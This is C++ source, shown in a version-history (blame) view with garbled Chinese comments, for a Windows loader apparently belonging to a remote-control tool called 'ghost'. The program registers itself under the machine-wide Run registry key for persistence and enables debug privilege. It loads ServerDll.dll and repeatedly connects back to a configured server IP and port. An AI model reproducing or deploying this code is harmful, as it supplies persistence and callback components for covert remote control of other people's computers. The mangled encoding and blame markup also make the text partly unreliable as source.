2019-01-05 20:21:43 +08:00
|
|
|
|
#include <windows.h>
|
|
|
|
|
|
#include <stdio.h>
|
|
|
|
|
|
#include <iostream>
|
2021-03-14 17:52:13 +08:00
|
|
|
|
#include <corecrt_io.h>
|
2024-12-27 19:18:44 +08:00
|
|
|
|
#include "common/commands.h"
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2024-12-28 04:34:54 +08:00
|
|
|
|
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
|
|
|
|
|
#define REG_NAME "a_ghost"
|
|
|
|
|
|
|
2019-01-05 20:21:43 +08:00
|
|
|
|
typedef void (*StopRun)();
|
|
|
|
|
|
|
|
|
|
|
|
typedef bool (*IsStoped)();
|
|
|
|
|
|
|
|
|
|
|
|
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
StopRun stop = NULL;
|
|
|
|
|
|
|
|
|
|
|
|
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
|
|
|
|
|
|
IsStoped bStop = NULL;
|
|
|
|
|
|
|
2019-04-15 16:24:32 +08:00
|
|
|
|
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>
|
|
|
|
|
|
IsStoped bExit = NULL;
|
|
|
|
|
|
|
|
|
|
|
|
BOOL status = 0;
|
|
|
|
|
|
|
2024-12-27 19:18:44 +08:00
|
|
|
|
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN,"",0 };
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2019-04-20 11:01:09 +08:00
|
|
|
|
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
|
|
|
|
|
void DebugPrivilege()
|
|
|
|
|
|
{
|
|
|
|
|
|
HANDLE hToken = NULL;
|
|
|
|
|
|
//<2F><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
int hRet = OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken);
|
|
|
|
|
|
|
|
|
|
|
|
if( hRet)
|
|
|
|
|
|
{
|
|
|
|
|
|
TOKEN_PRIVILEGES tp;
|
|
|
|
|
|
tp.PrivilegeCount = 1;
|
|
|
|
|
|
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD>LUID
|
|
|
|
|
|
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
|
|
|
|
|
|
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
|
|
|
|
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD>Ȩ<EFBFBD><C8A8>
|
|
|
|
|
|
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
|
|
|
|
|
|
|
|
|
|
|
|
CloseHandle(hToken);
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2019-03-25 22:25:14 +08:00
|
|
|
|
/**
|
|
|
|
|
|
* @brief <EFBFBD><EFBFBD><EFBFBD>ñ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
* @param[in] *sPath ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><EFBFBD>
|
|
|
|
|
|
* @param[in] *sNmae ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
* @return <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
* @details Win7 64λ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><EFBFBD>Խ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD>\n
|
|
|
|
|
|
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
|
|
|
|
|
|
* @note <EFBFBD>״<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Թ<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD>뿪<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
*/
|
|
|
|
|
|
BOOL SetSelfStart(const char *sPath, const char *sNmae)
|
2019-01-05 20:21:43 +08:00
|
|
|
|
{
|
2019-04-20 11:01:09 +08:00
|
|
|
|
DebugPrivilege();
|
|
|
|
|
|
|
2019-03-25 22:25:14 +08:00
|
|
|
|
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
|
|
|
|
|
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
|
|
|
|
|
|
|
|
|
|
|
|
// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
|
|
|
|
|
HKEY hKey = NULL;
|
|
|
|
|
|
LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
|
|
|
|
|
|
|
|
|
|
|
|
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
|
|
|
|
|
|
if(lRet != ERROR_SUCCESS)
|
|
|
|
|
|
return FALSE;
|
|
|
|
|
|
|
|
|
|
|
|
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
|
|
|
|
|
|
|
|
|
|
|
|
// <20>ر<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
|
|
|
|
|
|
RegCloseKey(hKey);
|
|
|
|
|
|
|
|
|
|
|
|
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
|
|
|
|
|
|
return lRet == ERROR_SUCCESS;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2019-04-15 16:24:32 +08:00
|
|
|
|
BOOL CALLBACK callback(DWORD CtrlType)
|
|
|
|
|
|
{
|
|
|
|
|
|
if (CtrlType == CTRL_CLOSE_EVENT)
|
|
|
|
|
|
{
|
|
|
|
|
|
status = 1;
|
|
|
|
|
|
if(stop) stop();
|
|
|
|
|
|
while(1==status)
|
|
|
|
|
|
Sleep(20);
|
|
|
|
|
|
}
|
|
|
|
|
|
return TRUE;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2021-03-14 17:52:13 +08:00
|
|
|
|
// @brief <20><><EFBFBD>ȶ<EFBFBD>ȡsettings.ini<6E><69><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
|
|
|
|
|
|
// [settings]
|
|
|
|
|
|
// localIp=XXX
|
|
|
|
|
|
// ghost=6688
|
|
|
|
|
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ھʹ<DABE><CDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>л<EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
|
2019-03-25 22:25:14 +08:00
|
|
|
|
int main(int argc, const char *argv[])
|
|
|
|
|
|
{
|
2024-12-28 04:34:54 +08:00
|
|
|
|
if(!SetSelfStart(argv[0], REG_NAME))
|
2019-03-25 22:25:14 +08:00
|
|
|
|
{
|
2019-04-19 11:02:18 +08:00
|
|
|
|
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
|
2019-03-25 22:25:14 +08:00
|
|
|
|
}
|
2019-04-15 16:24:32 +08:00
|
|
|
|
status = 0;
|
|
|
|
|
|
SetConsoleCtrlHandler(&callback, TRUE);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
char path[_MAX_PATH], *p = path;
|
|
|
|
|
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
|
|
|
|
|
while (*p) ++p;
|
|
|
|
|
|
while ('\\' != *p) --p;
|
|
|
|
|
|
strcpy(p+1, "ServerDll.dll");
|
|
|
|
|
|
HMODULE hDll = LoadLibraryA(path);
|
2019-03-25 22:25:14 +08:00
|
|
|
|
typedef void (*TestRun)(char* strHost,int nPort);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
|
|
|
|
|
|
stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
|
|
|
|
|
|
bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
|
2019-04-15 16:24:32 +08:00
|
|
|
|
bExit = hDll ? IsStoped(GetProcAddress(hDll, "IsExit")) : NULL;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
if (run)
|
|
|
|
|
|
{
|
|
|
|
|
|
char *ip = g_ConnectAddress.szServerIP;
|
|
|
|
|
|
int &port = g_ConnectAddress.iPort;
|
2024-12-27 01:40:40 +08:00
|
|
|
|
strcpy(p + 1, "settings.ini");
|
|
|
|
|
|
if (_access(path, 0) == -1) { // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ȴӲ<C8B4><D3B2><EFBFBD><EFBFBD><EFBFBD>ȡֵ<C8A1><D6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǵ<EFBFBD>g_ConnectAddressȡֵ.
|
|
|
|
|
|
ip = argc > 1 ? argv[1] :(strlen(ip)==0 ? "127.0.0.1" : ip);
|
|
|
|
|
|
port = argc > 2 ? atoi(argv[2]) : (port==0 ? 6543: port);
|
|
|
|
|
|
} else {
|
|
|
|
|
|
GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.szServerIP, ip, _MAX_PATH, path);
|
|
|
|
|
|
port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.iPort, path);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
2019-04-19 11:02:18 +08:00
|
|
|
|
printf("[server] %s:%d\n", ip, port);
|
2019-04-15 16:24:32 +08:00
|
|
|
|
do
|
|
|
|
|
|
{
|
|
|
|
|
|
run(ip, port);
|
|
|
|
|
|
while(bStop && !bStop() && 0 == status)
|
|
|
|
|
|
Sleep(20);
|
|
|
|
|
|
} while (bExit && !bExit() && 0 == status);
|
2019-04-20 11:01:09 +08:00
|
|
|
|
|
|
|
|
|
|
while(bStop && !bStop() && 1 == status)
|
|
|
|
|
|
Sleep(20);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
2019-05-06 21:11:49 +08:00
|
|
|
|
else {
|
|
|
|
|
|
printf("<EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>.\n");
|
|
|
|
|
|
Sleep(3000);
|
|
|
|
|
|
}
|
2019-04-15 16:24:32 +08:00
|
|
|
|
status = 0;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
return -1;
|
|
|
|
|
|
}
|